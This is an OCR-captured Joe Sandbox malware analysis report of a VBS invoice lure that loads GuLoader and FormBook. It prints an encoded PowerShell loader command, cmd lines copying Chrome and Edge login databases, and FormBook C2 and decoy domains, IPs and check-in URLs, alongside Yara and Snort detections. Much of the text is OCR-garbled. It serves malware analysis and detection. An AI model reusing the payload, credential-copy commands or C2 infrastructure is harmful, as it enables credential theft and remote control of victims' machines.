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Windows Analysis Report

Unclear Proforma Invoice.vbs

Overview
General Information Detection Signatures Classification
Sample Unclear Proforma
Name: Invoice.vbs MALICIOUS Yara detected FormBook
Analysis ID: 680487 Malicious sample detected (through...
MD5:
2ccae65c60d12c.. System process connects to networ...
SHA1L:
AR Antivirus detection for URL or domain
SHAZ256: d85deda96531cd.
Yara detected GuLoader
[ nass
& Snort IDS alert for network traffic
D

Sample uses process hollowing tech...

Tries to steal Mail credentials (via fi...
FormBook, ¢

Guloader

Maps a DLL or memory area into an...

Writes to foreign memory regions

Range: 0-100
Whitelisted: false Tries to detect Any.run
Confidence: 100%

Wscript starts Powershell (via cmd ...

Process Tree

= System is wl0x64native
. i; wscript.exe (PID: 8084 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

o E¥ powershell.exe (PID: 1740 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABZACAAUABhAHIA
YQBWAHMAeQBrACAAQQBUAHQAaQBOACAARABIAGQAZQBSAHMAY QBJACAAZABIAHMAJQBSACAATQB1AHIACABOAGKAZQBKACAATQBSAGQACJAgAEWADWBIAHQA
aABIACAAQQBJAGMAdQBIAGIAZQBUAHQAaWAgAFAAZQBJAHQAbwBYAGEAbBABpAHMAIABEAHUAdgBIAHQAIABPAHAAcWBWAHIAdABUACAAbgBIAGQAZABPAGUA
cWAgAFUAZABzAHYAaQBUAGCAIABBAG4AY QBsAHKACWBIAGEAIABGAGEACYBIAHMAZWBSAGBAIABEAGUAbQBhAHIAIABCAGWAdQBIAGIAZQBSACAAQWBVAHUA
cgBpAGQAYQBOACAAbWBMAGYAbABPAGMAIAANAAOAIWBSAHUADABSAGUACWBOACAATABhAGMAaABYAHKADQBhAHQAIABCAGEACgB5AHQAaABSAGOAIABNAGEA
cgBpAHMAIABOAG8AbABzAGUAeQBrAHUAbAAgAFUAJQBKAHMAbAB1AGsAawBIACAAUWBhAHQACWBIAGKABABSAGUAIABBAGWAdgBpAGQAZQBUAGQAIABVAGQA
ZwBhAG4AZWBzAGYAbwBYACAAVYBIAG QAZWBhACAARGBIAHIAaQBIAGWAdQBrAG4AIABSAGUAeQBrACAAQWBOAGEAcWBzZAGUACgAgAEUACQB1AGEADABSAGKA
IABGAG8ACcgBzAHQAZQBUACAABQB1AHMAawBpACAAVQBUAHAAZQBIAGWAIABTAHAAZQBrAHQAY QAgAEOAdQBUAGCADQBhAGAAZAB1AGAAIABPAGAAZABIAGSA
dAAJAEKACWBVAGWAIABTAGSAZQBSAGA4AZQBtAHIAawAgAEQAZWBUAGYADAAGAEYAbwBSAGSAZQBYAGUAIABBAGYACABhAHMAbgAJAEQAY QBSAGWAeQAgAEWA
YQBUAGQAZWBhAG4AZWBZACAASABIAG4ACcgBPAGSACWBIAG4AIABNAGBADABIAG8AaABpAHMAIABTAGEAbgBIAHIAaQBUAGCAIABHAHIAdQBOAGAAIABTAHQA
YQBrAGWAYQBKAGUAcgBUACAAQQBYAGMAaAAgAAOACJAKAEMAMWAYACAAPQAgAFSAYWBOAGEAcgBAADMANAAGACSAIAAIAFOAIgGAgGACSAIAAIAHCAQQAIACSA
1gBsAGWAIgArACIAbwBJACIAKWAIAG EAJABIAFY AaQBYACIAKWAIAHQAJQBhAGWATQAIACsAIgBIACIAKWAIAGOAIgArACIAbwBYAHKAIGAgACSAIABbAGMAaABhAHIAXQ
AzADQADQAKACMAQWBVAGOAbQBhAG4AZABPAGAAZWAJAHUAbgBKAGUACgBIAGUAIABBAHAAbWBYAHIAIABVAG4AZgB1AHQAaQBSACAASYB1AGWAaQBhAG4AaQ
BzAHQAYQAgAEIAYQBNAGSAbABKAG4AaQBUAGCAIABTAGUACYBIAG4AIABDAG8AbgB2ACAATWBZAHQAZQBVAHAADABhACAAVQBUAHAACYBIAGYAZQBYAGEAIA
BTAGEAbQBtAGUAIABTAGUAbQBpPAHMACABPAHIAY QAGAFIAZQBNAGUAbgBzAGKAYQBUAGUAIABGAGUAaABZzAGBAIABTAGSAbwB2ACAASWBVAGOACABSAGUAdA
BOAGUAIABSAGUAZABzAGUAIABEAGKAcWBWAHUAdABKAGEAZWAGAEYAYQB1AGMAIABTAGUABQBpACAAZWBhAGWAY QBJAHQAIABOAGBACgBVAHAAaQBhAG4AaQ
BJACAATQBpAGWAbABpAHMAZQBrAHUAbgAgAEIAZQBNAHIAZQBIAHMAZAAGAESAZABMAGEACgAgAEOAaQBzAGBAZWB5ACAAVABVAHAAZGBVAHIACWBWACAAQW
BWAHIAZgAgAGWAaQB2AHMAY gBIAHQAaQAgAE8ACgBKAHIAZQAgAEOADABKAGUAaQBUAGBAZABVACAARQBIrAHMAYQBtAGUAbgAgAFUAZABKAGEAbgBUAGUADA
BzAGUAIAANAAOAQQBKAGQALQBUAHKACABIACAALQBUAHKACABIAEQAZQBMAGKAbgBpAHQAaQBVAGAAIABAACIADQAKAHUACWBPAGAAZWAGAFMAeQBZAHQAZQ
BtADSADQAKAHUACWBPAG4AZWAGAFMAeQBzAHQAZQBIAC4AUgB1AGAAdABPAGOAZQAUAEKAbgBOAGUACYBVAHAAUWBIAHIAdgBpAGMAZQBzADSADQAKAHAAIQ
BIAGWAaQBJACAACWBOAGEAdJABpAGMAIABJAGWAY QBZAHMAIABTAGsAeQBKADEADQAKAHSADQAKAFSARABSAGWASQBtAHAAbwBYAHQAKAAIAGSAZQBYAGAAZQ
BsADMAMgAUAGQAbABsACIAKQBJAHAAJQBIAGWAaQBjACAACWBOAGEAJABPAGMAIABIAHgAJABIAHIAbgAgAEKAbgBOAFAAdABYACAARQBUAHUADBQBUAGKADQ
BIAEYAbwBYAGOAYQBOAHMAQQA0AHUAaQBUAHQAIABEAGUACgBpAHYAY QBOAGKAdgBOADUALABPAGAAJAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQANGASACAAaQ
BUAHQAIABEAGUAcgBpAHYAYQBOAGKAdgBOADCAKQA7AAOACYJANAAOAWWBEAGWADBABIJAGOACABVAHIAJAAOACIAawBIAHIAbgBIAGWAMWAYACAAZABSAGWAIg
ApAFOACAB1AGIAbABPpAGMAIABZAHQAYQBOAGKAYWAJAGUAeABOAGUACgBUACAASQBUAHQAUABOAHIAIABDAHIAZQBhAHQAZQBQAGKACABIACgAdQBPAGAAdA
AgAEQAZQBYAGKAdgBhAHQAaQB2AHQANQASAGKAbgBOACAARABIAHIAaQB2AGEAJABpAHYAJAA2ACWAIABPpAGAAdAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQANW
ApADsADQAKAAOACGBbAEQAbABSAEKAbQBWAG8AcgBOACGAIgBUAHQAZABSAGWALYBKAGWAbAAIACWAIABFAG4AJABYAHKAUABVAGKAbgBOADOAJABDADMAMg
ApAFOACABIAGIAbABpAGMAIABZAHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAAaQBUAHQAIABGAGKAZABhACgAaQBUAHQAIABTAGSAeQBKADYALABYAGUAZg
AgAEKAbgBOADMAMgAgAGWAbgBKAGCcAaAASAGKAbgBOACAARABIAHIAaQB2AGEAdABPAHYAJAASAHIAZQBMACAASQBUAHQAMWAYACAAUWBrAHKAZAAsSAGKADbg
BOACAAUgBNAGUAbgBKAGUAMQAOADIALABPAG4AJAAGAFMAawB5AGQANWAPADSADQAKAAOACYBbAEQAbABSAEKAbQBWAGBACgBOACYAIgBrAGUACGBUAGUADA
AzADIALgBKAGWAbAAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABIAGAAdABQAHQACYAJAECAZQBOAEYAaQBSAGUAVA
BpAGOAZQA0AHUAaQBUAHQAIABEAGUACgBpAHYAYQBOAGKAdgBOADUALABPAGAAJAAGAEQAZQBYAGKAdgBhAHQAaQB2AHQANgAPADSADQAKAAOACGBIAAOACY
AIAEAADQAKACMAYgBVAHIAJABZACAARGB5AGCAZQBOAGUAbgBOACAATWBZAHQAaQBUAGQAAQBIAGYAY QAJAEQAZQBUAHMAaQBMAGKAYWBhAHQAIABFAHgAYwW
BIAGWAIAB1AGQAZQBUAHIAaQBNAHMADBQAGAHYAYQBZAGKAYWBIAGAAJABYAGKAIABXAGKAbgBIAHMAawBpAG4AY QB2ACAAUWBIAGKAYgBzAGWAY QBKAG4AaQ
AgAFKAZABIAGWACWBIAHMAbgBpAHYAIAANAAOAJABTAGsAeQBKADMAPQAWADSADQAKACQAUWBrAHKAZAASADOAMQAWADQAOAALIADCANgGA7AAOACgGAKAFMAaw
B5SAGQAOAAIAFSAUWBrAHKAZAAXAFOAOgABAEYAaQBKAGEAKAAIADEALABbAHIAZQBMAFOAJABTAGSAeQBKADMALAAWACWAWWBYAGUAZgBAACQAUWBIAHKAZA
ASACWAMQAYADIAOAA4ACWANGAOACKADQAKACQAYgBhAHIAbwB1AGMAaABIAHQAJAA9ACIARWBIAHQALQBJAHQAZQBIAFAACGBVAHAAZQBYAHQAeQAgACOAUA
BhAHQAaAAgACIASABLAEMAVQABAFWAUWBVAGYAJAB3AGEACgBIAFWAUWBOAGQAY QBIAGOAZQAIACKALGBTAGSAbwB2AGOADQAKACQARABIAHIAaQB2AGEAdA
BpAHYAJAAWACAAPQAJACCAJABEAGOAdgBSAGUAdQBKACAAPQAGAFSAUWBSAHMAJABIAGOALGBDAG8AbgB2AGUACgBOAFOAOGABAEYACgBVAGOAQYBhAHMAIW
ArACcAZQA2ADQAUWBOAHIAaQBUAGCAKAAKAGIAY QBYAGBAdQBjAGIAZQBOAHQAKQANAAOACIAMACAAKAAGAFSAYWBOAGEACGBAADEAMAAIACSAIJWBFACCAKW
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AnAFgAIWApPACAAJABEAGUACgBpAHYAY QBOAGKAdgBOADAADQAKAFSAUWB5AHMAJABIAGOALgBSAHUAbgBOAGKABQBIACAASQBUAHQAZQBYAGBACABTAGUACY
B2AGKAYWBIAHMALgBNAGEACcgBzAGgAY QBSAFOAOgA6AEMAbwBWAHKAKAAKAEQAagB2AGWAZQB1AGQALAAgADAALAAGACAAIABTAGSAeQBKADMALAAGACQARA
BgAHYAbABIAHUAZAAUAGMAbWB1AG4AdAAPADSADQAKAFSAUWBrAHKAZAAXAFOAOGABAEUAbgB1AGOAVABPAGOAZQBGAGBACYBIAGEAJABZAEEAKAAKAFMAaw
B5AGQAMWASACAAMAASACAAMAAPAAOACJANAAOADQAKAAOACYA= MD5: C32CA4ACFCC635ECIEAGEDBA34DF5FAC)
o B conhost.exe (PID: 840 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
e [ csc.exe (PID: 8060 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51Iu\tmhd51lu.c
mdline MD5: EB8OBB1CA9BIC7F516FF69AFCFD75B7D)
e B cvires.exe (PID: 7644 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\usen\A
ppData\Loca\Temp\RESBA75.tmp" "c:\Users\user\AppData\Local\Temp\tmhd51Iu\CSCDE243CA280D4B5C9E282790C554DB9.TMP" MD5:
70D838A7DC5B359C3F938A71FAD77DBO0)

@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:
@ ieinstal.exe (PID:

7460 cmdline:
7980 cmdline:
7972 cmdline:
2360 cmdline:
5924 cmdline:
6028 cmdline:
6428 cmdline:
5992 cmdline:
5520 cmdline:
4152 cmdline:
5388 cmdline:

C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:
C:\Program Files (x86)\internet explorer\ieinstal.exe MD5:

7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)
7871873BABCEA94FBA13900B561C7C55)

. @ ielowutil.exe (PID: 8008 cmdline: C:\Program Files (x86)\internet explorer\ielowutil.exe MD5: 650FE7460630188008BF8C8153526CEB)
o "t explorer.exe (PID: 4868 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FFSAE5612F921BCIDA23BACI5F7)
. @ ielowutil.exe (PID: 1980 cmdline: "C:\Program Files (x86)\internet explorenielowutil.exe" MD5: 650FE7460630188008BF8C8153526CEB)
. @ ielowutil.exe (PID: 5692 cmdline: "C:\Program Files (x86)\internet explorenielowutil.exe" MD5: 650FE7460630188008BF8C8153526CEB)
. D rundll32.exe (PID: 7768 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: 889B99C52A60DD49227C5E485A016679)
cmd.exe (PID: 7612 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1"

/V MD5: DOFCE3AFABAA1D58CE9FA336CC2B675B)
conhost.exe (PID: 5456 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6600 cmdline: /c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /\V

MD5: DOFCE3AFA6AA1D58CE9FA336CC2B675B)
conhost.exe (PID: 4056 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

. @ firefox.exe (PID: 6640 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)

= cleanup

Malware Configuration

Threatname: FormBook
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{

"C2 list": [
"www.ymsb.info/tuid/"

1

“decoy": [
"qimazii2893.com”,
"secureartist.com”,
“fullrme.cloud"”,
"hydroknow.com”,
"komerco-latam.com”,
“linuxizes.com",
"onlinevoting.online”,
“et-secure.info",
“shoolinart.net",
“idealofta.store",
“treshichos.com”,
“worldbrands.wine",
“susanne-morel-autorin.com”,
“blueonb.com”,
"programmedsolution.com”,
"eo3ql7.xyz",
"digitalmarketingdegreemx.com”,
“contactar-parking.com”,
"billypainter.com”,
"pinitlabs.com”,
“theconsciouskart.com”,
“growonweb3.com”,
“laforet.info",
"bynecessiti.com”,
"sowgh.com”,
“studioriopelle.com”,
“edico-al.com”,
"ghanesa.xyz",
“emitacademy.com”,
“xc8b49c6mnmdits.xyz",
"kondo0071.com”,
“wwwi2dni.com”,
"hikingtaibah.com”,
“muziclips.com”,
"vivi-italiano.com”,
“gebilay.com”,
“mojawapo.com”,
“aia-art.com”,
"spurgadgetclubtoday.com”,
"we-gamble.net”,
"kukula.biz",
“maximilianvonah.com”,
“chaosschizophrenia.com”,
"thrrealestate.com”,
“minotaur.network”,
“crayative.com”,
“itsfindia.online”,
"beachandlakeresort.net",
"psoriasis-cure.info",
“receiveprim.online”,
“coolarts.xyz",
"147bronzeway.com”,
"ap-render.com”,
"perspectiive.com”,
"5phutthuocbainhenhang.com”,
“vtubber.com”,
“motorcyclehelmets.win”,
"hongkongfun.site",
“cecilialederer.com”,
"productislandsize.xyz",
"5111.site",
“conversacion.online”,
"svgjp.com”,
"detalinb.online”

]

}
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Yara Signatures

Initial Sample

Source

Unclear Proforma Invoice.vbs

Memory Dumps

Source

00000015.00000002.3485649482.0000000002E40000.0000
0040.10000000.00040000.00000000.sdmp

00000015.00000002.3485649482.0000000002E40000.0000
0040.10000000.00040000.00000000.sdmp

00000015.00000002.3485649482.0000000002E40000.0000
0040.10000000.00040000.00000000.sdmp

00000015.00000002.3485649482.0000000002E40000.0000
0040.10000000.00040000.00000000.sdmp

00000015.00000000.2784654077.0000000002EB0000.0000

0040.00000400.00020000.00000000.sdmp

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

Rule

WScript_Shell_Po
werShell_Combo

Rule

JoeSecurity_Form
Book

Formbook

Formbook_1

Description

Detects malware
from Middle
Eastern campaign
reported by Talos

Description

Yara detected
FormBook

detect Formbook
in memory

autogenerated rule
brought to you by
yara-signator

Windows_Trojan_F unknown

ormbook_1112e1l

6

JoeSecurity_GuLo Yara detected

ader_2

GuLoader

Author

Florian Roth

Author
Joe Security
JPCERT/CC

Incident Response
Group

Felix Bilstein -
yara-signator at
cocacoding dot
com

unknown

Joe Security

Click to see the 27 entries

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3

Timestamp:

SID: 2031453

Source Port: 49786

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133

Timestamp:

SID: 2031453

Copyright Joe Security LLC 2022

192.168.11.20188.114.96.349786802031453 08/08/22-17:45:46.536997

192.168.11.20154.80.183.13349802802031453 08/08/22-17:46:39.844942

Strings

e 0x2878e:$sl: .CreateObject("WScript.Shell")
e 0Ox2cl5e:$pl: powershell.exe

Strings

0x18809:$sqlite3step: 68 34 1C 7B E1
0x1891c:$sqlite3step: 68 34 1C 7B E1
0x18838:$sqlite3text: 68 38 2A 90 C5
0x1895d:$sqlite3text: 68 38 2A 90 C5
0x1884b:$sqlite3blob: 68 53 D8 7F 8C
0x18973:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

°

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x8f92:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16335:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox15del:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x99aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1 EA 06

0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

.

e o o o

e o o o

0x6581:$al: 3C 30 50 4F 53 54 74 09 40

e 0Oxlcd20:$a2: 74 OA 4E OF B6 08 8D 44 08 01 75 F6 8D 7
001 OF B6 00 8D 55

0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 7
5118AD080E201

0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D
C38B 17 03550C 6A 01 83

.

.

.
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Source Port:
Destination Port:
Protocol:

Classtype:

49802
80
TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.21.87.131

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20217.21.87.13149787802031449 08/08/22-17:45:58.222329
2031449

49787

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20217.160.0.17849754802031449 08/08/22-17:44:17.775827
2031449

49754

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20188.114.96.349786802031412 08/08/22-17:45:46.536997
2031412

49786

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination |P: 217.21.87.131

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20217.21.87.13149787802031453 08/08/22-17:45:58.222329
2031453

49787

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20154.80.183.13349802802031449 08/08/22-17:46:39.844942
2031449

49802

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.11.20217.160.0.17849754802031453 08/08/22-17:44:17.775827
2031453

49754

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.21.87.131

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

Copyright Joe Security LLC 2022

192.168.11.20217.21.87.13149787802031412 08/08/22-17:45:58.222329
2031412

49787

80

TCP

A Network Trojan was detected
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ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 154.80.183.133 —

Timestamp: 192.168.11.20154.80.183.13349802802031412 08/08/22-17:46:39.844942

SID: 2031412

Source Port: 49802

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 217.160.0.178 —
Timestamp: 192.168.11.20217.160.0.17849754802031412 08/08/22-17:44:17.775827

SID: 2031412

Source Port: 49754

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.11.20 - Destination IP: 188.114.96.3 -—
Timestamp: 192.168.11.20188.114.96.349786802031449 08/08/22-17:45:46.536997

SID: 2031449

Source Port: 49786

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Yara detected FormBook

Antivirus detection for URL or domain

Networking

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud

: KK

Yara detected FormBook

System Summary

Malicious sample detected (through community Yara rule)

Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)

Very long command line found

Data Obfuscation m [:l

Yara detected GuLoader
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Malware Analysis System Evasion lﬂi.

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process
Writes to foreign memory regions

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information

Yara detected FormBook

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected FormBook

Mitre Att&ck Matrix

Initial . . Privilege  Defense Credential . Lateral . y . Command Network Rem?te
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Scripting DLL Side- DLL Side- Deobfuscat OS File and Services Archive Over Other Ingress on Insecure Track System
Loading Loading e/Decode  Credential  Directory Collected Network Tool Network Device Partition
Files or Dumping Discovery Data Medium Transfer Communic  Without
Information ation Authorizati
on
Default LSASS Remote Exfiltration Exploit SS7 Remotely  Device
Accounts Shared Registry Process Scripting Memory System Desktop Data from  Over Encrypted  to Redirect Wipe Data  Lockout
Modules Run Keys / Injection Information = Protocol Local Bluetooth Channel Phone Without
Startup Discovery System Calls/SMS  Authorizati
Folder on
Domain Logon Security SMB/Wind Automated Exploit SS7 Obtain Delete
Accounts Command  Script Registry Obfuscated Account Security ows Admin  Email Exfiltration  Non- to Track Device Device
and (Windows) RunKeys/ Files or Manager Software Shares Collection Application = Device Cloud Data
Scripting Startup Information Discovery Layer Location Backups
Interpreter Folder Protocol
Local Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts PowerShell  Script Script Software Virtualizatio Component Capture Transfer Application  Swap Billing
(Mac) (Mac) Packing n/Sandbox Object Layer Fraud
Evasion Model Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Fallback Manipulate Manipulate
Accounts Logon Logon DLL Side-  Secrets Process Transfer Channels Device App Store
Script Script Loading Discovery Size Limits Communic Rankings
ation or Ratings
Replication Launchd Rc.commo  Rc.commo Cached VNC GUI Input  Exfiltration  Multiband  Jamming or Abuse
Through n n Masqueradi  Domain Application Capture Over C2 Communic  Denial of Accessibilit
Removable ng Credentials Window Channel ation Service y Features
Media Discovery
External Scheduled = Startup Startup DCSync Network Windows Web Portal  Exfiltration = Commonly  Rogue Wi- Data
Remote Task ltems ltems Virtualizatio Sniffing Remote Capture Over Used Port  Fi Access Encrypted
Services n/Sandbox Manageme Alternative Points for Impact
Evasion nt Protocol
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Initial . . Privilege
Execution Persistence A
Access Escalation
Drive-by Command Scheduled Scheduled
Compromis and Task/Job Task/Job
e Scripting
Interpreter
Exploit PowerShell At (Linux) At (Linux)
Public-
Facing
Application

Behavior Graph

Screenshots

Thumbnails

. Command Remote
Defense Credential . Lateral . . . Network .
. Discovery Collection Exfiltration and Service Impact
Evasion Access Movement Effects
Control Effects
Proc Network Shared Credential  Exfiltration  Application = Downgrade Generate
Process Filesystem Service Webroot API Over Layer to Insecure Fraudulent
Injection Scanning Hooking Symmetric  Protocol Protocols Advertising
Encrypted Revenue
Non-C2
Protocol
letc/passw  System Software Data Exfiltration ~ Web Rogue Data
Rundll32 d and Network Deploymen Staged Over Protocols Cellular Destruction
letc/shado  Connection t Tools Asymmetric Base
w s Encrypted Station
Discovery Non-C2
Protocol
Hide Legend
Legend:
|:| Process
. Signature
. Created File
Il onsiP info
ﬂ Is Dropped
A% Is Windows Process

*

TLI
s
"en

]
!

S

o
) %
B

i
i
=

[ 1
@
[c]

H

L@ 2 )

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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Ll © Type here to search (@)

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Unclear Proforma Invoice.vbs

Unclear Proforma Invoice.vbs

Dropped Files

@ No Antivirus matches

Unpacked PE Files

Source Detection

30.2 firefox.exe.2f1d7970.0.unpack 100%
30.0.firefox.exe.2f1d7970.0.unpack 100%

30.0.firefox.exe.2f1d7970.1.unpack 100%

Copyright Joe Security LLC 2022

Detection

5%

10%
Scanner
Avira
Avira
Avira

Scanner Label Link
Virustotal Browse
ReversingLabs Script-
WScript.Download
er.Heuristic
Label Link Download
TR/Patched.Ren Download File
.Gen8
TR/Patched.Ren Download File
.Gen8
TR/Patched.Ren Download File
.Gen8
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https://www.virustotal.com/gui/file/d85deda96531cdada16f3d37ee1ad279289c60509f37b28e0d0dac0bd7e4c4ed/detection/f-d85deda96531cdada16f3d37ee1ad279289c60509f37b28e0d0dac0bd7e4c4ed-1659935183

Source Detection
23.2.rundlI32.exe.57a7970.4.unpack 100%
23.2.rundll32.exe.36008a0.1.unpack 100%
Domains

Source

www.emitacademy.com

URLs

Source

http://nrokg.emitacademy.com
http://zb379.emitacademy.com
http://kimy8.emitacademy.com

http://www.mojawapo.com/tuid/?
m4bd=WEOQpGNSR38PhgWGQI/4AC8NMIFMwGI3qKGQVHK5AXuPmXhsKWgjXW9kcijjoxdm/[BQU&AP
PTx=9r9PSR

http://schemas.microsoft.c
http://www.coolarts.xyz/tuid/
http://www.emitacademy.com/sitemap.xml
http://101.99.94.169/g
http://www.worldbrands.wine/tuid/
http://www.emitacademy.com/

http://www.receiveprim.online/tuid/?
m4bd=5V7M8j5VuGkiy9NL3tlypAJy22VFPCeBH50h5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJ
pPox5FYIUfRP

http://www.emitacademy.com/tuid/?
M8s=w86DJpgx5FYIUfRP&m4bd=83varyKolJI8CknPQYIgcSGzNVcyrkZOB+D5ZpiMCIZzhWRqo67UpT
DjwxWvk8XKYz02

http://www.emitacademy.com/images/mlogo.png

http://www.vtubber.com/tuid/?
m4bd=vEOt2Wx]Bi8H4KsoCXQPFaaEcnal. 0cW4rsHNOmMKSQSi6rgkDy1GsjEnilX065GWycDne&UICp=
CJEhZPH

http://www.ymsb.info/tuid/?
M8s=w86DJpgx5FYIUfRP&mM4bd=x1IgSWX2LKO1IKV9bkchYXFCTPqYoW8UyISztnXFuz2/7+2KqJfWL
K3RcwQMnMv5S2vv

http://65bxm.emitacademy.com
http://www.ap-render.com/tuid/
http://y3wls.emitacademy.com
http://www.secureartist.com/tuid/

